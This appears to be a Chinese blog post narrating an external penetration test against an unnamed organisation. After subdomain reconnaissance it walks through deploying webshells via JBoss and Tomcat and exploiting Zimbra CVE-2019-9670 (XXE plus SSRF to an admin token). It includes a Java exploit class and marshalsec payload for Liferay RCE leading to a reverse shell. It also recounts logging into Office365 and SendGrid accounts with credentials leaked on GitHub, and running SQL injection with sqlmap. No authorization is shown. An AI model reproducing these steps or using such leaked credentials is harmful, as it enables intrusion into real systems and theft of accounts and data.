运维 · 2023年9月26日 0

针对某个目标的渗透测试(外网渗透)

前言

针对某个目标进行的一次渗透测试!没有什么技术含量,都是简单的测试一些常见的漏洞!开始静下心来学习!

子域名信息收集

多的不说,一开始使用Google来收集了这个目标工具的一些其他的域名!因为我发现他们资产太大了发现他们的一级域名也是挺多的。接着进行域名信息收集,域名资产收集的话我喜欢使用Sublist3r和OneForAll来进行域名的收集,接着还可以通过证书透明性信息来发现子域名。

Sublist3r这个工具的原理其实也不难理解,主要就是通过常用的第三方聚合服务网站获取子域名的信息,通常的有DNSdumpster、VirusTotal和Sublist3r自己的api。从这个工具的源码当中看主要还是通过第三方聚合服务网站获取子域名,接着在进行爆破。

OneForall也是我使用的很经常的子域名收集工具了,但是它的源码结构看上去实在是太复杂了,所以我就没有太深入的去看它里面的源码!但是不难看出其实它还是有调用很多第三方聚合服务的接口的!

在modules里面存放了主要获取数据的脚本代码,不得不说太强了!

利用证书透明度收集子域模块

自动接管模块

常规检查收集子域模块

利用网上爬虫档案收集子域模块

利用DNS数据集收集子域模块

利用DNS查询收集子域模块

利用威胁情报平台数据收集子域模块

利用搜索引擎发现子域模块

这里我后来又学习了一个自动化信息收集工具!其实它的原理很简单,这个工具主要就是shell脚本,把多个信息收集工具放入到目录下面,通过shell脚本自动收集子域名等信息然后再通过去重等操作完成收集任务!

收集完成之后就是对这些信息进行处理了!我比较喜欢使用goby来进行收集信息!还有一些其他的工具也可也做一些收集,主要就是页面快照、端口扫描、和一些中间件,和服务等信息收集。

利用FOFA搜索资产获取JBoss入口

使用fofa来对其中的一个域名进行信息收集,发现了一处JBoss的资产存在未授权访问,这里我直接上了一个shell上去。

通过未授权登陆进入管理页面部署到webshell,接着访问到这个页面返回500的错误,但是问题不大。

进入进去查看到目标主机的信息,这台主机的系统是Windows 2008,这里我判断疑似应该是一台VM虚拟机器!

出了这一个JBoss未授权之外,通过这个目标的大量资产找到了很多JBoss反序列化漏洞,大概有11个反序列化漏洞!

再其中一台机器中找到了tomcat的管理后台密码

登陆进来之后就可以通过上传war,来获取它的webshell来控制这台机器了!当然可以在已经获取到权限中的主机大量的进行有用信息收集!最好就行把一些凭证信息获取下来,后期可以对其进行复用。

比如下面这个,这个是一个提供安全技术的厂商吧,但是这个页面存在有JBoss反序列化。

直接反序列化利用获取它的权限!

接着我在opt 目录下找到了他备份 ftp 的shell文件,打开一看了里面具有一些密码,这个可以收集起来!

获取Zimbra 电子邮件协作系统服务器权限

接着对其他的域名进行fofa资产发现,这里找到了有Zimbra 网络客户端 。等尝试有无RCE漏洞存在

接着对Zimbra 网络客户端 这个点进行测试,在网上已经找到了它的漏洞。这里有一个XML注入漏洞。利用了CVE-2019-9670 XXE漏洞来读取配置文件。Zimbra配置文件位置为/conf/localconfig.xml
接着抓取到它的数据包,这里需要带入cookie的数据包

接着放到重放去,修改请求方式为POST,并且带入URL :/Autodiscover/Autodiscover.xml
并且修改Content-Type: application/xml。接着带入XML 的POC

这里已经成功的读取到了用户的信息。说明XXE攻击成功了!接着需要构造payload来读取zimbra的配文件localconfig.xml。由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd。

利用已经得到的密码获取低权限的token,低权限的token可以通过soap接口发送AuthRequest进行获取。访问到 /service/soap 或/service/admin/soap 接着进行 抓包并且修改为POST模式。还要修改Content-Type: application/xml 。

拿到低权限的Token之后可以通过SSRF漏洞获取proxy接口,访问admin的soap接口来获取到高权限的Token,访问URL:/service/proxy?target=https://127.0.0.1:7071/service/admin/soap ,接着进行 抓包,获取到数据包之后修改POST模式。这一步需要把上一步获取到的低权限的token添加到cookie中,将xmlns=”urn:zimbraAccount”修改为 xmlns=”urn:zimbraAdmin”,并且需要在Host头中加入端口7070,URL中SSRF访问的target 需要使用https协议。

接着使用刚刚回去到了高权限的TOKEN之后,把这个高权限的TOKEN复制到下面的上传脚本中!文件即可上传成功

Liferay 框架RCE漏洞

Liferay 框架2020年3月份爆出了Liferay Portal JSON Web 服务器的RCE漏洞,使用nmap对其操作系统进行扫描判断,然后对执行命令的方式进行修改,修改为Linux的执行命令bash

知道了是什么操作系统之后,开始编写好Exploit的javapayload。代码如下

public class Exploit {

        static{

        try{

                String[] cmd = {"/bin/bash","-c","ping xxx.xxx.xxx -c 5 "};

                java.lang.Runtime.getRuntime().exec(cmd).waitFor();

        } catch (Exception e ) {

                e.printStackTrace();

                }

        }

}

保存为Exploit.java 之后使用 javac 编译这个文件获取到 .class的文件

javac Exploit.java

之后在服务器开启HTTP的服务,挂在编译之后的Exploit.class文件

接着使用mashalsec直接生成16进制paylaod

接着替换为反弹shell的命令,这里成功的获取到了shell

github信息泄露收集

在收集github信息的时候发现了有一处邮箱用户和密码泄露,是微软的邮箱登陆,这个应该就是自动化发送邮件的系统吧。

接着这个登陆到 smtp.office365.com 之后登陆成功!!里面的邮件信息都已经可以看的到了!

接着还在github上面找到了很多有用的密码信息。还后期的目录扫描还寻找到了网站的备份文件。里面提供了有mssql的数据库连接密码!

可惜的就是这里面提供的IP地址的1443端口都是关闭的!准确的说是被防火墙拦截了吧!一直连接不上去!在备份文件中找到了某个邮箱系统的密码

直接继续到 SendGrid即可!!进入到用户界面

SQL注入拿下分站

一般分站或者一些子站点的注入都是比较多的!这里前期信息收集的时候发现了几个PHP的网站,并且测试到了有SQL注入漏洞,这个注入点是一个搜索框里面的报错注入!

抓取数据包,测试报错注入成功!但是这个数据库给的权限不高!

测试一番之后发现没有WAF等拦截,直接使用sqlmap跑一下成功获取到了注入数据!

第二个存在有注入点的网站如下,是一个登陆框的注入点,抓包对其进行注入点测试,这里直接就报错了!这里显示报错说明可以是可以报错注入来获取信息!

接着获取它的权限,这里不是root权限。管理员做的还是挺不错的。如果是root直接就可以提权了!

如有侵权,请联系删除

好文推荐

红队打点评估工具推荐
干货|红队项目日常渗透笔记
实战|后台getshell+提权一把梭
一款漏洞查找器(挖漏洞的有力工具)
神兵利器 | 附下载 · 红队信息搜集扫描打点利器
神兵利器 | 分享 直接上手就用的内存马(附下载)
推荐一款自动向hackerone发送漏洞报告的扫描器

关注我,学习网络安全不迷路